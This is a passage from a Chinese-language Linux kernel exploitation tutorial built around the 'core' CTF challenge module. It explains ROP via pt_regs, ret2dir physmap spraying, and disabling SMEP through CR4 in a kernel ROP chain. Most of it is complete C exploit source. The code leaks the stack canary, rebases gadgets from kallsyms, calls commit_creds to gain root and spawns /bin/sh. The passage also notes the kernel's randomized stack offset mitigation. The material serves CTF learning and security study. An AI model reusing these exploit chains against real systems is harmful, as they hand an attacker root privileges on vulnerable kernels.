    rop[it++] = pop_rdx_ret;
    rop[it++] = pop_rcx_ret;
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;
​
    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[it++] = 0;
    rop[it++] = 0;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;
​
    core_write(buf, sizeof(buf));
​
    core_copy_func(0xffffffffffff0000 | sizeof(buf));
​
    return 0;
}

利用 pt_regs 構造 rop

qemu啟動指令碼

#!/bin/sh
qemu-system-x86_64 \
  -m 256M \
  -kernel ./bzImage \
  -initrd ./core.cpio \
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  -s \
  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  -nographic \
  -cpu kvm64,+smep,+smap

檢視entry_SYSCALL_64 這一用匯編寫的函式內部,注意到當程式進入到核心態時,該函式會將所有的暫存器壓入核心棧上,形成一個 pt_regs結構體,該結構體實質上位於核心棧底,定義如下:

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

核心棧只有一個頁面的大小,而 pt_regs 結構體則固定位於核心棧棧底,當我們劫持核心結構體中的某個函式指標時(例如 seq_operations->start),在我們透過該函式指標劫持核心執行流時 rsp 與 棧底的相對偏移通常是不變的。

而在系統呼叫當中過程有很多的暫存器其實是不一定能用上的,比如 r8 ~ r15,這些暫存器為我們佈置 ROP 鏈提供了可能,我們不難想到:只需要尋找到一條形如 "add rsp, val ; ret"gadget便能夠完成ROP,在進入核心態前像暫存器寫入一些值,看那些暫存器可以被保留,以便後續寫入gadget

KPTI pass:使用 seq_operations + pt_regs

結構體 seq_operations 的條目如下:

​
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • 當我們開啟一個 stat 檔案時(如 /proc/self/stat)便會在核心空間中分配一個 seq_operations 結構體

  • 當我們 read 一個 stat 檔案時,核心會呼叫其 proc_opsproc_read_iter 指標,然後呼叫 seq_operations->start 函式指標

利用思路

這次我們限制溢位只能覆蓋返回地址,此時需要棧遷移到其他地方構造 rop 。其中一個思路就是在 pt_regs 上構造 rop 。我們在呼叫 core_copy_func 函式之前先將暫存器設定為幾個特殊的值,然後再 core_copy_func 函式的返回處下斷點。

__asm__(
        "mov r15, 0x1111111111111111;"
        "mov r14, 0x2222222222222222;"
        "mov r13, 0x3333333333333333;"
        "mov r12, 0x4444444444444444;"
        "mov rbp, 0x5555555555555555;"
        "mov rbx, 0x6666666666666666;"
        "mov r11, 0x7777777777777777;"
        "mov r10, 0x8888888888888888;"
        "mov r9, 0x9999999999999999;"
        "mov r8, 0xaaaaaaaaaaaaaaaa;"
        "mov rcx, 0xbbbbbbbbbbbbbbbb;"
        "mov rax, 0x10;"
        "mov rdx, 0xffffffffffff0050;"
        "mov rsi, 0x6677889A;"
        "mov rdi, core_fd;"
        "syscall"
        );

數字沒變的暫存器就是我們能夠控制的,可以被我們用來寫 gadget。

0b:0058│     0xffffc90000113f58 ◂— 0x1111111111111111               ; r15
0c:0060│     0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""')  ; r14
0d:0068│     0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333')  ; r13
0e:0070│     0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD')  ; r12
0f:0078│     0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU')  ; rbp
10:0080│     0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff')  ; rsp
11:0088│     0xffffc90000113f88 ◂— 0x207                            
12:0090│     0xffffc90000113f90 ◂— 0x8888888888888888               ;r10
13:0098│     0xffffc90000113f98 ◂— 0x9999999999999999               ;r9 
14:00a0│     0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa               ;r8
15:00a8│     0xffffc90000113fa8 ◂— 0xffffffffffffffda
16:00b0│     0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
17:00b8│     0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
18:00c0│     0xffffc90000113fc0 ◂— 0x6677889a
19:00c8│     0xffffc90000113fc8 ◂— 0x614d8e5400000004
1a:00d0│     0xffffc90000113fd0 ◂— 0x10
1b:00d8│     0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
1c:00e0│     0xffffc90000113fe0 ◂— 0x33 /* '3' */
1d:00e8│     0xffffc90000113fe8 ◂— 0x207
1e:00f0│     0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
1f:00f8│     0xffffc90000113ff8 ◂— 0x2b /* '+' */

新版本核心對抗利用 pt_regs 進行攻擊的辦法

核心主線在 這個 commit 中為系統呼叫棧新增了一個偏移值,這意味著 pt_regs 與我們觸發劫持核心執行流時的棧間偏移值不再是固定值:

diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
 #ifdef CONFIG_X86_64
 __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
 {
+    add_random_kstack_offset();
     nr = syscall_enter_from_user_mode(regs, nr);
​
     instrumentation_begin();

當然,若是在這個隨機偏移值較小且我們仍有足夠多的暫存器可用的情況下,仍然可以透過佈置一些 slide gadget 來繼續完成利用,不過穩定性也大幅下降了。

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
​
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            add_rsp_0xe8_ret += offset;
            swapgs_restore_regs_and_return_to_usermode += offset + 8;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
​
size_t get_canary() {
    set_off(64);
    char buf[64];
    core_read(buf);
    return *(size_t *) buf;
}
​
int main() {
    rebase();
​
    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }
​
    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);
​
    char buf[0x100];
    memset(buf, '\x00', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(size_t *) &buf[80] = add_rsp_0xe8_ret;
​
    core_write(buf, sizeof(buf));
    __asm__(
            "mov r15, pop_rdi_ret;"
            "mov r14, init_cred;"
            "mov r13, commit_creds;"
            "mov r12, swapgs_restore_regs_and_return_to_usermode;"
            "mov rax, 0x10;"
            "mov rdx, 0xffffffffffff0058;"
            "mov rsi, 0x6677889A;"
            "mov rdi, core_fd;"
            "syscall"
            );
​
    system("/bin/sh");
​
    return 0;
}

執行 add_rsp_0xc8_pop*4_ret 時棧佈局,rsp抬高0xc8+0x20ret 會執行到我們的 shellcode

image-20240905212807263

ret2dir

如果 ptregs 所在的記憶體被修改了導致可控記憶體變少,我們可以利用 ret2dir 的利用方式將棧遷移至核心的線性對映區。不同版本核心的線性對映區可以從核心原始碼文件的mm.txt檢視。

image-20240906090938018

ret2dir 是哥倫比亞大學網路安全實驗室在 2014 年提出的一種輔助攻擊手法,主要用來繞過 smep、smap、pxn 等使用者空間與核心空間隔離的防護手段,原論文linux 系統有一部分實體記憶體區域同時對映到使用者空間和核心空間的某個實體記憶體地址。一塊區域叫做 direct mapping area,即核心的線性對映區。,這個區域對映了所有的實體記憶體。我們在使用者空間中佈置的 gadget 可以透過 direct mapping area 上的地址在核心空間中訪問到。

image-20240410172028837

但需要注意的是在新版的核心當中 direct mapping area 已經不再具有可執行許可權,因此我們很難再在使用者空間直接佈置 shellcode 進行利用,但我們仍能透過在使用者空間佈置 ROP 鏈的方式完成利用。

利用思路

  1. 在使用者空間大量噴灑我們的gadget: add_rsp_0xe8_ret

  2. 返回地址覆蓋為對應核心版本的線性對映區+0x7000000的位置。

  3. 利用pt_regs儲存的pop_rbp_ret; target_addr; leave;ret 來完成棧遷移。

  4. 執行線性對映區的shellcode

exp

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
​
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t retn = 0xFFFFFFFF81003E15;
size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
size_t leave_ret = 0xFFFFFFFF81037384;
​
const size_t try_hit = 0xffff880000000000+0x7000000;
​
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
​
void save_status() 
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}
​
void get_shell() 
{ 
    system("/bin/sh"); 
}
​
size_t get_canary() {
    set_off(64);
    char buf[64];
    core_read(buf);
    return *(size_t *) buf;
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            add_rsp_0xe8_ret += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            pop_rbp_ret += offset;
            leave_ret += offset;
            retn += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
​
void physmap()
{
    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Error: open core");
    }
    page_size = sysconf(_SC_PAGESIZE);
    printf("[*] page_size %llx", &page_size);
    size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    int idx = 0;
    while (idx < (page_size / 8 - 0x30)) {
        rop[idx++] = add_rsp_0xe8_ret;
    }
    for (; idx < (page_size / 8 - 0xb); idx++) {
        rop[idx] = retn;
    }
    rop[idx++] = pop_rdi_ret;
    rop[idx++] = init_cred;
    rop[idx++] = commit_creds;
    rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[idx++] = 0x0000000000000000;
    rop[idx++] = 0x0000000000000000;
    rop[idx++] = (size_t) get_shell;
    rop[idx++] = user_cs;
    rop[idx++] = user_rflags;
    rop[idx++] = user_sp;
    rop[idx++] = user_ss;
    puts("[*] Spraying physmap...");
    for (int i = 1; i < 15000; i++) {
        size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        memcpy(page, rop, page_size);
    }
    puts("[*] trigger physmap one_gadget...");
}
​
int main() 
{
    rebase();
    save_status();
    physmap();
​
    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);
​
    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[0x40] = canary;
    *(size_t *) &buf[0x50] = add_rsp_0xe8_ret;
​
    core_write(buf, sizeof(buf));
    __asm__(
        "mov r15, pop_rbp_ret;"
        "mov r14, try_hit;"
        "mov r13, leave_ret;"
        "mov rax, 0x10;"
        "mov rdx, 0xffffffffffff0058;"
        "mov rsi, 0x6677889A;"
        "mov rdi, core_fd;"
        "syscall"
    );
    return 0;
}

流程

(1)修改返回地址為線性對映區的地址,大機率會執行到add_rsp_0xe8_ret將棧抬升到pt_regs處,執行我們負責棧遷移的shell_code

ret2dir_yj

(2)將棧遷移到我們目標地址後,大量的slider gadget將棧不斷抬升到get_root程式碼處,完成提權。

ret2dir_yi2

kernel rop + ret2user

利用思路

這種方法實際上是將前兩種方法結合起來,同樣可以繞過 smapsmep 保護。大體思路是先利用 rop 設定 cr40x6f0 (這個值可以透過用 cr4 原始值 & 0xFFFFF 得到)關閉 smep , 然後 iret 到使用者空間去執行提權程式碼。

smep

例如,當

$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

時,smep 保護開啟。而 CR4 暫存器是可以透過 mov 指令修改的,因此只需要

mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000

即可關閉 smep 保護。

搜尋一下從 vmlinux 中提取出的 gadget,很容易就能達到這個目的。

  • 如何檢視 CR4 暫存器的值?

    gdb 無法檢視 cr4 暫存器的值,可以透過kernel crash 時的資訊檢視。為了關閉 smep 保護,常用一個固定值 0x6f0,即 mov cr4, 0x6f0

exp

注意這裡 smap 保護不能直接關閉,因此不能像前面 ret2usr 那樣直接在 exp 中寫入 trap frame 然後棧遷移到 trap frame 的地址,而是在 rop 中構造 trap frame 結構。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
​
#define KERNCALL __attribute__((regparm(3)))
​
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
​
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
​
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
​
void get_shell() 
{ 
    system("/bin/sh"); 
}
​
size_t user_cs, user_rflags, user_sp, user_ss;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}
​
void get_root() {
    commit_creds(prepare_kernel_cred(0));
}
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds = (void *) ((size_t) commit_creds + offset);
            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
            init_cred = (void *) ((size_t) init_cred + offset);
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
​
size_t get_canary() {
    set_off(64);
    char buf[64];
    core_read(buf);
    return *(size_t *) buf;
}
​
int main() {
    save_status();
    rebase();
​
    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }
​
    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);
​
    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
​
    size_t *rop = (size_t *) &buf[80], it = 0;
​
​
    rop[it++] = pop_rdi_ret;
    rop[it++] = 0x00000000000006f0;
    rop[it++] = mov_cr4_rdi_ret;
    rop[it++] = (size_t) get_root;
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;
​
    core_write(buf, sizeof(buf));
​
    core_copy_func(0xffffffffffff0000 | sizeof(buf));
​
    return 0;
}

更多網安技能的線上實操練習,請點選這裡>>

相關文章